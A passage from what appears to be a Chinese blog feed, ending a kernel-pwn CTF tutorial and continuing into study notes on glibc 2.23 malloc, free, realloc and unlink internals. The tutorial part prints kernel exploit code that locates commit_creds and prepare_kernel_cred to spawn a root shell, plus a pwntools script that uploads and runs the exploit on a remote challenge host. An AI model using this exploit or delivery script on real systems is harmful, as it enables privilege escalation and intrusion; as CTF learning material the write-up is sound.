class="string">"/bin/sh"</span>);</span><br><span class="line"></span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">else</span></span><br><span class="line">   &#123;</span><br><span class="line">     <span class="built_in">puts</span>(<span class="string">"[*] get shell error"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">core_read</span><span class="params">(<span class="keyword">int</span> fd,<span class="keyword">char</span>* buf)</span></span></span><br><span class="line"><span class="function"></span>&#123; </span><br><span class="line">     <span class="built_in">puts</span>(<span class="string">"[*] going core_read"</span>);</span><br><span class="line">     ioctl(fd,<span class="number">0x6677889B</span>,buf);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">setoff</span><span class="params">(<span class="keyword">int</span> fd,<span class="keyword">int</span> <span class="built_in">size</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">"[*] going setoff"</span>);</span><br><span class="line">      ioctl(fd,<span class="number">0x6677889C</span>,<span class="built_in">size</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">save_status</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    __asm__(<span class="string">"mov user_cs, cs;"</span></span><br><span class="line">            <span class="string">"mov user_ss, ss;"</span></span><br><span class="line">            <span class="string">"mov user_sp, rsp;"</span></span><br><span class="line">            <span class="string">"pushf;"</span></span><br><span class="line">            <span class="string">"pop user_rflags;"</span></span><br><span class="line">            );</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"[*]status has been saved."</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">size_t</span> find_symbols()</span><br><span class="line">&#123;</span><br><span class="line">    FILE* kallsyms_fd = fopen(<span class="string">"/tmp/kallsyms"</span>, <span class="string">"r"</span>);</span><br><span class="line">    <span class="comment">/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(kallsyms_fd &lt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">"[*]open kallsyms error!"</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">char</span> buf[<span class="number">0x30</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    <span class="keyword">while</span>(fgets(buf, <span class="number">0x30</span>, kallsyms_fd))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span>(commit_creds &amp; prepare_kernel_cred)</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">strstr</span>(buf, <span class="string">"commit_creds"</span>) &amp;&amp; !commit_creds)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">char</span> hex[<span class="number">20</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">            <span class="built_in">strncpy</span>(hex, buf, <span class="number">16</span>);</span><br><span class="line">            <span class="built_in">sscanf</span>(hex, <span class="string">"%llx"</span>, &amp;commit_creds);</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">"commit_creds addr: %p\n"</span>, commit_creds);</span><br><span class="line">            vmlinux_base = commit_creds - <span class="number">0x9c8e0</span>;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">"vmlinux_base addr: %p\n"</span>, vmlinux_base);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">strstr</span>(buf, <span class="string">"prepare_kernel_cred"</span>) &amp;&amp; !prepare_kernel_cred)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="comment">/* puts(buf); */</span></span><br><span class="line">            <span class="keyword">char</span> hex[<span class="number">20</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">            <span class="built_in">strncpy</span>(hex, buf, <span class="number">16</span>);</span><br><span class="line">            <span class="built_in">sscanf</span>(hex, <span class="string">"%llx"</span>, &amp;prepare_kernel_cred);</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">"prepare_kernel_cred addr: %p\n"</span>, prepare_kernel_cred);</span><br><span class="line">            vmlinux_base = prepare_kernel_cred - <span class="number">0x9cce0</span>;</span><br><span class="line">            <span class="comment">/* printf("vmlinux_base addr: %p\n", vmlinux_base); */</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(!(prepare_kernel_cred &amp; commit_creds))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">"[*]Error!"</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="调试过程"><a href="#调试过程" class="headerlink" title="调试过程"></a>调试过程</h2><p>现在有了exp还有思路当然要自己调试的看一看了，具体调试我使用的是pwndgb</p>
<p>先把编译好的exp打包进root.cpio中（解包打包操作前面有了）(编译命令是师傅教我的<code>musl-gcc  -static -O2 exp.c -o exp</code>)</p>
<p>然后用./rootstart把qemu起起来，执行 <code>gdb vmlinux</code></p>
<p>接着<code>set architecture i386:x86-64</code>，<code>target remote:1234</code></p>
<p>这里我调试的时候第一次断在了<code>0xffffffffc00000cc</code>，地址是通过root模式下lsmod显示的驱动base加上IDA中偏移后得来的，所以感觉nokaslr下调试会方便一些（有kaslr时感觉断点都不太好下），断的地方就是在<code>core_read</code>中copy_to_user处</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1585008529686.png" alt="1585008529686"></p>
<p>断下来了之后是这样的</p>
<p>栈上的情况大致如下：</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1585008988570.png" alt="1585008988570"></p>
<p>这里分别是canary、ebp（这个ebp似乎直接返回到用户栈去了）、返回地址（对应我们驱动中ioctl的地址）</p>
<p>copy_to_user之后就可以获得8*8个栈上的数据，当然就包括canary还有一些地址了</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1585009204137.png" alt="1585009204137"></p>
<p>然后从内核态返回用户态似乎是从<code>__do_softirq+328</code>这里返回的</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1585009743004.png" alt="1585009743004"></p>
<p>最后断在qmemcpy之后（中间的感觉不用断了…挺好理解的），可以看到栈上的数据已经被改成了各种gadget还有返回时需要的寄存器值</p>
<p>调试的时候<code>log_buf_vmcoreinfo_setup+209</code>好像就是执行<code>prepare_kernel_cred(0)</code></p>
<p><code>msg_print_ext_body+227</code>就是执行<code>commit_creds(rdi)</code></p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1585010675845.png" alt="1585010675845"></p>
<p>最后执行到最后ret之前就是这样了，返回用户态执行<code>/bin/sh</code>（那个0x400430就是我们的getpwn），就是从ring0直接调用，所以弹给我们的就是root的shell了</p>
<p>至于这个程序的kaslr没有特意去绕是因为我们直接读取了<code>/tmp/kallsyms</code>，从而减去没有kaslr时的内核函数基地址就可以得到加载偏移，不过内核函数加载地址和我们驱动加载地址似乎是被kaslr映射在不同的地方的，需要的情况下得分别leak才行（比如我们上面read时leak了很多内容）</p>
<p>我们这个程序也刚好没有使用到驱动的gadget，所以只用leak内核函数基址就好了</p>
<p><code>./start</code>脚本去实测的效果就是这样：</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1585011340948.png" alt="1585011340948"></p>
<p>ps：这个kaslr似乎后很多位的off都是相同的</p>
<p>这里再给出一个CTF比赛时打远程的脚本（来自林国鹏师傅）：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#! /usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># vim:fenc=utf-8</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Copyright © 2019 saltedfish &lt;17302010022@fudan.edu.cn&gt;</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Distributed under terms of the MIT license.</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">cmd = <span class="string">'$ '</span></span><br><span class="line"></span><br><span class="line">p=remote(<span class="string">'192.168.3.255'</span>,<span class="number">1234</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exploit</span><span class="params">(r)</span>:</span></span><br><span class="line">    r.sendlineafter(cmd, <span class="string">'stty -echo'</span>)</span><br><span class="line">    os.system(<span class="string">'musl-gcc  -static -O2 exp.c -o exp'</span>)</span><br><span class="line">    os.system(<span class="string">'gzip -c exp &gt; exp.gz'</span>)</span><br><span class="line">    r.sendlineafter(cmd, <span class="string">'cat &lt;&lt;EOF &gt; exp.gz.b64'</span>) <span class="comment">#heredoc</span></span><br><span class="line">    r.sendline((read(<span class="string">'exp.gz'</span>)).encode(<span class="string">'base64'</span>))</span><br><span class="line">    r.sendline(<span class="string">'EOF'</span>)</span><br><span class="line">    r.sendlineafter(cmd, <span class="string">'base64 -d exp.gz.b64 &gt; exp.gz'</span>)</span><br><span class="line">    r.sendlineafter(cmd, <span class="string">'gunzip exp.gz'</span>)</span><br><span class="line">    r.sendlineafter(cmd, <span class="string">'chmod +x ./exp'</span>)</span><br><span class="line">    r.sendlineafter(cmd, <span class="string">'./exp'</span>)</span><br><span class="line">    r.interactive()</span><br><span class="line"></span><br><span class="line">exploit(r)</span><br></pre></td></tr></table></figure>





]]></content>
      <tags>
        <tag>kernel</tag>
      </tags>
  </entry>
  <entry>
    <title>libc-2.23-malloc,free,realloc</title>
    <url>/2020/02/17/libc-2-23-malloc-free-realloc/</url>
    <content><![CDATA[<h1 id="int-malloc-mstate-av-size-t-bytes"><a href="#int-malloc-mstate-av-size-t-bytes" class="headerlink" title="_int_malloc(mstate av, size_t bytes)"></a>_int_malloc(mstate av, size_t bytes)</h1><ul>
<li>根据bytes参数计算要申请的chunk大小<code>nb</code></li>
<li>判断av是否为空，不为空跳过这一步，进入之后的流程<ul>
<li>直接通过nb和av用<code>sysmalloc</code>调用分配<ul>
<li>分配成功，<strong>返回</strong>分配区对应指针</li>
<li>分配失败，<strong>返回</strong>0</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="fastbin↓"><a href="#fastbin↓" class="headerlink" title="fastbin↓"></a>fastbin↓</h2><ul>
<li>调用<code>get_max_fast()</code>获得<code>global_max_fast</code>变量的值判断nb是否在fastchunk范围内，不是则略过这一步<ul>
<li>通过位移忽略nb低位来计算fastbin中的index，然后获取要分配的bin链头</li>
<li>判断链头是否为null，为null则<strong>跳出</strong>fastbin操作</li>
<li>否则从单链表取下该victim chunk<ul>
<li>判断<code>fastbin_index (chunksize (victim)) != idx</code>，如果该victim的index与本链不对应则<strong>报错结束</strong></li>
<li>指针转换<code>chunk2mem</code>，然后<strong>返回</strong>该指针</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="smallbin↓"><a href="#smallbin↓" class="headerlink" title="smallbin↓"></a>smallbin↓</h2><ul>
<li>判断nb是否&lt;MIN_LARGE_SIZE(Macro，非变量)<ul>
<li><strong>是：</strong></li>
<li>位移忽略nb低位来计算smallbin中的index，然后获取要分配的bin链头</li>
<li>如果bin链头的bk指向的不是自身则赋值bk给victim并进行以下操作，否则跳过（这里可以看出smallbin是从链尾开始取chunk的）<ul>
<li>如果判断victim为0则说明该arena需要初始化，调用<code>malloc_consolidate</code>，之后<strong>跳出</strong>该smallbin操作</li>
<li>不为0说明该bin链有chunk，获取victim-&gt;bk指针bck<ul>
<li><code>bck-&gt;fd != victim</code>，则<strong>报错结束</strong></li>
<li>这里说明成功分配，根据victim和nb设置相邻前向chunk的prev_inuse位为1,然后从双向链表取下victim chunk，设置size字段然后chunk2mem，<strong>返回</strong></li>
</ul>
</li>
</ul>
</li>
<li><strong>不是：</strong></li>
<li>位移忽略nb低位来计算对应largebin中的index</li>
<li>如果fastbin中有chunk(通过av的标识位判断)，调用<code>malloc_consolidate</code></li>
</ul>
</li>
</ul>
<h2 id="recently-freed-or-remaindered-chunks↓"><a href="#recently-freed-or-remaindered-chunks↓" class="headerlink" title="recently freed or remaindered chunks↓"></a>recently freed or remaindered chunks↓</h2><ul>
<li>大循环###########################################################################<ul>
<li>嵌套循环<strong>（由unsortedbin中是否有chunk和最大遍历chunk数决定次数）</strong>↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓<ul>
<li>如果unsortedbin头bk指针不为自身则赋值victim(同样是从链尾取chunk)，否则<strong>退出第二层循环</strong></li>
<li>获取victim chunk的bk指针bck</li>
<li>判断victim的size字段是否满足<code>2*size_t &lt; victim-&gt;size &lt;= system_mem</code>，不满足则<strong>报错结束</strong></li>
<li>如果满足<strong>(</strong>in_smallbin_range<strong>)(</strong>bck == unsorted_chunks ，即unsortedbin中只有一个chunk<strong>)(</strong>vicitm==last_remainder，即上次被切割的chunk<strong>)(</strong>size&gt;nb+MINSIZE，MINSIZE是能够分配的最小chunk<strong>)</strong>这四个条件则进行以下操作<strong>（这里只是为了从unsortedbin唯一chunk，而且还是last_remainder中切割出smallbin）</strong><ul>
<li>设置新的remainder，并链入unsortedbin        <strong>※</strong></li>
<li>如果remainder不是largebin需要将fd_nextsize和bk_nextsize清零</li>
<li>设置victim的size字段（prev_inuse默认为1）</li>
<li>设置remainder的size字段和更新前向chunk的prev_size字段</li>
<li>chunk2mem，<strong>返回</strong>切割下来的vicitm</li>
</ul>
</li>
<li>从unsorted chunk中取下该victim</li>
<li>如果该victim的<code>size==nb</code>进行以下操作否则略过<strong>（刚好碰到unsortedbin中相等大小的chunk）</strong><ul>
<li>设置victim前向chunk的prev_inuse为1</li>
<li>设置vicitm的size字段</li>
<li>chunk2mem，<strong>返回</strong>vicitm</li>
</ul>
</li>
<li>通过<code>in_smallbin_range</code>判断victim的size（<strong>这个操作是为了将不满足的chunk链入bin链，判断只是在small chunk和large chunk上做不同的工作而已）</strong><ul>
<li><strong>满足：</strong><ul>
<li>计算对应smallbin中的index</li>
</ul>
</li>
<li><strong>不满足：</strong><ul>
<li>说明是largechunk</li>
<li>找到largebin中对应的index和bin链中的位置</li>
</ul>
</li>
<li>在binmap设置对应的index为1，说明该bin链有chunk</li>
<li>将该chunk通过获得的fwd和bck链入bin链</li>
</ul>
</li>
<li>嵌套循环结尾↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑</li>
</ul>
</li>
<li>通过<code>in_smallbin_range</code>判断nb，不是则进行以下操作，是则跳过<strong>（这里是去largebin中对应的index切割出chunk来，small chunk和largebin中对应bin链没有chunk的还得等到下面binmap去找）</strong><ul>
<li>获取对应largebin中的bin链头作为victim</li>
<li>bin链中有chunk，并且victim的size大于等于nb则进行下一系列操作<ul>
<li>反向遍历chunk size链表，直到找到第一个大于等于所需chunk大小的chunk </li>
<li>如果从 large bin 链表中选取的 chunk victim 不是链表中的最后一个 chunk，并且与 victim大小相同的chunk不止一个，那么意味着victim为chunk size链表中的节点，为了不调整chunksize 链表，需要避免将 chunk size 链表中的节点取出，所以取 victim-&gt;fd 节点对应的 chunk作为候选 chunk。由于 large bin 链表中的 chunk 也是按大小排序，同一大小的 chunk 有多个时，这些 chunk 必定排在一起，所以 victim-&gt;fd 节点对应的 chunk 的大小必定与 victim 的大小一样（这段我直接复制的华庭，因为涉及largebin的概念太多了）</li>
<li>计算victim切割后的大小，并调用 unlink()宏函数将 victim 从 bin 链中取出      <strong>※※</strong></li>
<li>判断切割后的大小是否小于MINSIZE（判断返回chunk之前要不要切一下）<ul>
<li>是，切割失败，不用切了，设置victim前向chunk的prev_inuse为1并设置victimsize字段</li>
<li>否，切割成功，设置remainder<ul>
<li>检查unsortedbin链表头是否正常，不正常则<strong>报错结束</strong></li>
<li>重复将remainder链入unsortedbin中的操作（前面嵌套循环中打<strong>※</strong>处）</li>
</ul>
</li>
</ul>
</li>
<li>chunk2mem，<strong>返回victim</strong></li>
</ul>
</li>
</ul>
</li>
<li>到这里便开始使用binmap分配<strong>（largebin和smallbin中对应index都没有chunk的）</strong></li>
<li>获取我们需要大小chunk对应bin的下一个bin的空闲chunk链表，并获取该bin对于binmap中的bit位的值 （开始从稍大的chunk中寻找）</li>
<li>嵌套循环↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓<ul>
<li>首先找到对应的binmap中对应的block<strong>（找不到则直接去use_top）</strong>，然后找到block中的对应bit位和对应的bin链</li>
<li>判断此时 victim 与 bin 链表头是否相同<ul>
<li><strong>是：</strong>表示该 bin 中没有空闲 chunk， binmap 中的相应位<strong>设置不准确</strong>（接着找），将 binmap 的相应 bit 位清零， 获取当前 bin 下一个 bin，将 bit 移到下一个 bit位，回到前面循环↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑</li>
<li><strong>否：</strong>当前 bin 中的最后一个 chunk 满足要求<ul>
<li>重复之前打<strong>※※</strong>处操作</li>
</ul>
</li>
</ul>
</li>
<li>嵌套循环结尾↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑</li>
</ul>
</li>
<li>use_top:<ul>
<li>前面的全部都没找到则直接使用topchunk，获取topchunk的size</li>
<li>如果<code>size+MINSIZE&gt;nb</code>，则切出victim（此时不更改last_remainder），chunk2mem，<strong>返回victim</strong></li>
<li>如果top_chunk都不满足，判断此时是否有fastchunk<ul>
<li><strong>有</strong>：调用<code>malloc_consolidate</code>，并计算nb对应bin的index</li>
<li><strong>没有</strong>：重复之前调用sysmalloc的流程</li>
</ul>
</li>
</ul>
</li>
<li>###########################################################################</li>
</ul>
</li>
</ul>
<hr>
<p>Free就从封装函数开始吧</p>
<h1 id="libc-free"><a href="#libc-free" class="headerlink" title="__libc_free"></a>__libc_free</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span></span><br><span class="line">__libc_free (<span class="keyword">void</span> *mem)</span><br><span class="line">&#123;</span><br><span class="line">  mstate ar_ptr;</span><br><span class="line">  mchunkptr p;                          <span class="comment">/* chunk corresponding to mem */</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">void</span> (*hook) (<span class="keyword">void</span> *, <span class="keyword">const</span> <span class="keyword">void</span> *) = atomic_forced_read (__free_hook);</span><br><span class="line">  <span class="keyword">if</span> (__builtin_expect (hook != <span class="literal">NULL</span>, <span class="number">0</span>))</span><br><span class="line">    &#123;</span><br><span class="line">      (*hook)(mem, RETURN_ADDRESS (<span class="number">0</span>));		<span class="comment">//有hook就先调用hook，和其他函数一样</span></span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (mem == <span class="number">0</span>)                              <span class="comment">/* free(0) has no effect ，0直接return */</span></span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">  p = mem2chunk (mem);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (chunk_is_mmapped (p))                       <span class="comment">/* release mmapped memory. */</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="comment">/* see if the dynamic brk/mmap threshold needs adjusting */</span></span><br><span class="line">      <span class="keyword">if</span> (!mp_.no_dyn_threshold</span><br><span class="line">          &amp;&amp; p-&gt;<span class="built_in">size</span> &gt; mp_.mmap_threshold</span><br><span class="line">          &amp;&amp; p-&gt;<span class="built_in">size</span> &lt;= DEFAULT_MMAP_THRESHOLD_MAX)</span><br><span class="line">        &#123;</span><br><span class="line">          mp_.mmap_threshold = chunksize (p);</span><br><span class="line">          mp_.trim_threshold = <span class="number">2</span> * mp_.mmap_threshold;</span><br><span class="line">          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, <span class="number">2</span>,</span><br><span class="line">                      mp_.mmap_threshold, mp_.trim_threshold);</span><br><span class="line">        &#125;</span><br><span class="line">      munmap_chunk (p);<span class="comment">//如果是mmap分配的chunk就使用munmap，不调用_int_free，暂时不深究</span></span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">	<span class="comment">//一般的free流程</span></span><br><span class="line">  ar_ptr = arena_for_chunk (p);</span><br><span class="line">  _int_free (ar_ptr, p, <span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h1 id="int-free-mstate-av-mchunkptr-p-int-have-lock"><a href="#int-free-mstate-av-mchunkptr-p-int-have-lock" class="headerlink" title="_int_free (mstate av, mchunkptr p, int have_lock)"></a>_int_free (mstate av, mchunkptr p, int have_lock)</h1><p>这里<code>have_lock</code>默认传入的是0</p>
<ul>
<li>先获取p的chunksize <code>size</code>，然后开始做检查</li>
<li>检查1：p不能大于-size，p需要对齐，否则<code>free(): invalid pointer</code>，<strong>报错结束</strong></li>
<li>检查2：size要大于MINSIZE，而且size要对齐，否则<code>free(): invalid size</code><strong>报错结束</strong></li>
</ul>
<p><strong>#下面的三个大块是if..else if..else…结构</strong></p>
<ul>
<li>通过<code>get_max_fast ()</code>获取<code>global_max_fast</code>变量判断是否为fastchunk，是则进行以下操作（如果存在宏TRIM_FASTBINS，靠近topchunk的fastbin不会进入该流程）<ul>
<li>检查该chunk相邻的前向chunk的大小是否合法(是否满足<code>2*size_t &lt; size &lt; system_men</code>)<ul>
<li>不合法则<code>free(): invalid next size (fast)</code><strong>报错结束</strong></li>
</ul>
</li>
<li><code>set_fastchunks(av)</code>，设置av中对应标识，代表此时有fastchunk了</li>
<li>将bin链上已存在的chunk赋值到old，检查old是否和本chunk相等<ul>
<li>相等则<code>double free or corruption (fasttop)</code><strong>报错结束</strong></li>
</ul>
</li>
<li><code>p-&gt;fd = old2 = old;</code>加入bin链，并存下old2为后续表头操作</li>
<li>接下来在有锁(have_lock=1)的条件下，保证表头指向的chunk所属的bin链与当前chunk所属的bin链相同<ul>
<li>不相同则<code>invalid fastbin entry (free)</code><strong>报错结束</strong></li>
</ul>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>这里，如果不是mmap分配的chunk则进行以下操作</p>
<ul>
<li><p>先加锁（free里面的锁操作好像很多）</p>
</li>
<li><p>根据p和size计算nextchunk</p>
</li>
<li><p>如果p是top_chunk则<code>double free or corruption (top)</code><strong>报错结束</strong></p>
</li>
<li><p>如果nextchunk 的地址已经超过了 top chunk 的结束地址，超过了当前分配区的结束地址，<code>double free or corruption (out)</code><strong>报错结束</strong></p>
</li>
<li><p>如果nextchunk的prev_inuse为0，又因为此时不是fastchunk。<code>double free or corruption (!prev)</code><strong>报错结束</strong></p>
</li>
<li><p>获取nextchunk的nextsize，如果nextsize不满足<code>2*size_t &lt; nextsize &lt; system_men</code>，<code>free(): invalid next size (normal)</code>，<strong>报错结束</strong>（这一步在前面fastbin中也做了） </p>
</li>
<li><p>接着向后合并：</p>
<ul>
<li><pre><code class="c"><span class="keyword">if</span> (!prev_inuse(p)) {<span class="comment">//通过prev_inuse判断如果相邻的后向chunk不在使用态</span>
      prevsize = p-&gt;prev_size;<span class="comment">//通过本chunk的prev_size段获取prevsize</span>
      <span class="built_in">size</span> += prevsize;
      p = chunk_at_offset(p, -((<span class="keyword">long</span>) prevsize));<span class="comment">//更新p到prevchunk</span>
      unlink(av, p, bck, fwd);<span class="comment">//对prevchunk进行unlink</span>
    }<span class="comment">//此处prev_size字段为0会怎么样？prev_size为负数会怎么样?修改偏移来实现任意unlink？</span>
&lt;!--<span class="number">1</span>--&gt;</code></pre>
</li>
<li><p>检查unsortedbin中表头指针是否正常，不正常则<code>free(): corrupted unsorted chunks</code><strong>报错结束</strong></p>
</li>
<li><p>如果size属于largebin，则将fd_nextsize，bk_nextsize置零</p>
</li>
<li><p>将p加入unsortedbin头并设置size字段prev_inuse为1，并设置相邻前向chunk的prev_size为size</p>
</li>
<li><p><strong>是</strong></p>
</li>
<li><p>直接链入topchunk，设置size字段prev_inuse为1</p>
</li>
</ul>
</li>
<li><p>如果当前分配区为主分配区，并且 top chunk 的大小大于 heap 的收缩阈值，调用 systrim()函数收缩 heap，不是主分配区的话，调用 heap_trim()函数收缩非主分配区的 sub_heap </p>
</li>
</ul>
</li>
</ul>
<ul>
<li>这里说明是mmap分配的区域，调用<code>munmap</code></li>
</ul>
<hr>
<p><code>_int_realloc</code>之前先做检查，如果传入的指针为NULL，就直接调用<code>_int_malloc</code></p>
<p>如果传入的chunk不满足<code>(uintptr_t) oldp &gt; (uintptr_t) -oldsize</code>，且也不是16bit对齐，<strong>报错结束</strong></p>
<h1 id="int-realloc-mstate-av-mchunkptr-oldp-INTERNAL-SIZE-T-oldsize-INTERNAL-SIZE-T-nb"><a href="#int-realloc-mstate-av-mchunkptr-oldp-INTERNAL-SIZE-T-oldsize-INTERNAL-SIZE-T-nb" class="headerlink" title="_int_realloc(mstate av, mchunkptr oldp, INTERNAL_SIZE_T oldsize, INTERNAL_SIZE_T nb)"></a>_int_realloc(mstate av, mchunkptr oldp, INTERNAL_SIZE_T oldsize, INTERNAL_SIZE_T nb)</h1><p>检查oldp的size字段是否满足<code>2*size_t &lt; oldp.size &lt; system_mem</code>，不满足则<strong>报错结束</strong></p>
<p>oldchunk不能是mmapped，否则<strong>报错结束</strong></p>
<p>通过oldp和oldsize计算next和next size</p>
<p>检查next的size字段是否满足<code>2*size_t &lt; oldp.size &lt; system_mem</code>，不满足则<strong>报错结束</strong></p>
<p>（下面开始if..else..流程）</p>
<ul>
<li>oldsize&gt;=nb？</li>
<li><strong>是</strong>：<ul>
<li>则准备从原chunk切割</li>
<li>newp=oldp，newsize=oldsize</li>
</ul>
</li>
<li><strong>否</strong>：(newsize=oldsize+nextsize)<ul>
<li>如果前向chunk是topchunk且<code>oldsize+topsize&gt;nb+MINSIZE</code><ul>
<li>直接从topchunk切割出一部分补上去，设置新tophead，chunk2mem(oldp)，<strong>完成退出</strong></li>
</ul>
</li>
<li>如果前向chunk不是topchunk且未使用，并满足<code>oldsize+nextsize&gt;nb+MINSIZE</code><ul>
<li>newp=oldp</li>
<li>unlink前向chunk</li>
</ul>
</li>
<li>前面两种情况都不是，则进行以下操作<ul>
<li>调用<code>_int_malloc(av, nb - MALLOC_ALIGN_MASK)</code>，分配内存，这里nb - MALLOC_ALIGN_MASK是因为在<code>_int_malloc</code>里面还会再计算一遍nb。然后计算newp和newsize</li>
<li>newp == next？</li>
<li><strong>是</strong>：<ul>
<li>直接设置newp=oldp，不用复制内容了，扩充就好</li>
</ul>
</li>
<li><strong>否</strong>：<ul>
<li>拷贝内容到新chunk</li>
<li><code>_int_free(av,oldp,1)</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>检查newsize是否&gt;=nb，不满足则<strong>报错结束</strong></p>
<p>计算<code>remainder_size = newsize - nb</code></p>
<ul>
<li>remainder_size&lt;MINSIZE?</li>
<li><strong>是</strong>：<ul>
<li>直接设置头部，不用分割了</li>
</ul>
</li>
<li><strong>否</strong><ul>
<li>分割出remainder，并设置其prev_inuse为1，接着调用<code>_int_free(av,remainder,1)</code></li>
</ul>
</li>
</ul>
<p>返回chunk2mem，<strong>完成退出</strong></p>
<h1 id="unlink"><a href="#unlink" class="headerlink" title="unlink"></a>unlink</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">unlink(AV, P, BK, FD)<span class="comment">//P是指向本chunk的指针</span></span><br><span class="line">&#123;</span><br><span class="line">	<span class="keyword">if</span> (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), <span class="number">0</span>))</span><br><span class="line">		malloc_printerr (<span class="string">"corrupted size vs. prev_size"</span>);</span><br><span class="line">    <span class="comment">//检查本chunk的size和next chunk的prev_size段是否相等，排除了fast chunk</span></span><br><span class="line"></span><br><span class="line">	FD = P-&gt;fd;<span class="comment">//P+0x10 </span></span><br><span class="line">	BK = P-&gt;bk;<span class="comment">//P+0x18 FD和BK分别指向forward chunk和back chunk</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, <span class="number">0</span>)) <span class="comment">//pass check</span></span><br><span class="line">    	malloc_printerr (<span class="string">"corrupted double-linked list"</span>);</span><br><span class="line">    <span class="comment">//检查前chunk的bk和后chunk的fd是否与P相等</span></span><br><span class="line">	<span class="keyword">else</span></span><br><span class="line">	&#123;</span><br><span class="line">		FD-&gt;bk = BK;<span class="comment">//0x6020b8+0x18=0x6020d0(small_ptr)=0x6020c0(big_ptr)</span></span><br><span class="line">		BK-&gt;fd = FD;<span class="comment">//链表的卸下操作0x6020c0+0x10=0x6020d0(small_ptr)=0x6020b8(...)</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (!in_smallbin_range (chunksize_nomask (P))&amp;&amp;</span><br><span class="line">            __builtin_expect (P-&gt;fd_nextsize != <span class="literal">NULL</span>, <span class="number">0</span>))<span class="comment">//当链表为large bin且fd_nextsize不为空</span></span><br><span class="line">        &#123;</span><br><span class="line">			<span class="keyword">if</span> (__builtin_expect (P-&gt;fd_nextsize-&gt;bk_nextsize != P, <span class="number">0</span>)</span><br><span class="line">				|| __builtin_expect (P-&gt;bk_nextsize-&gt;fd_nextsize != P, 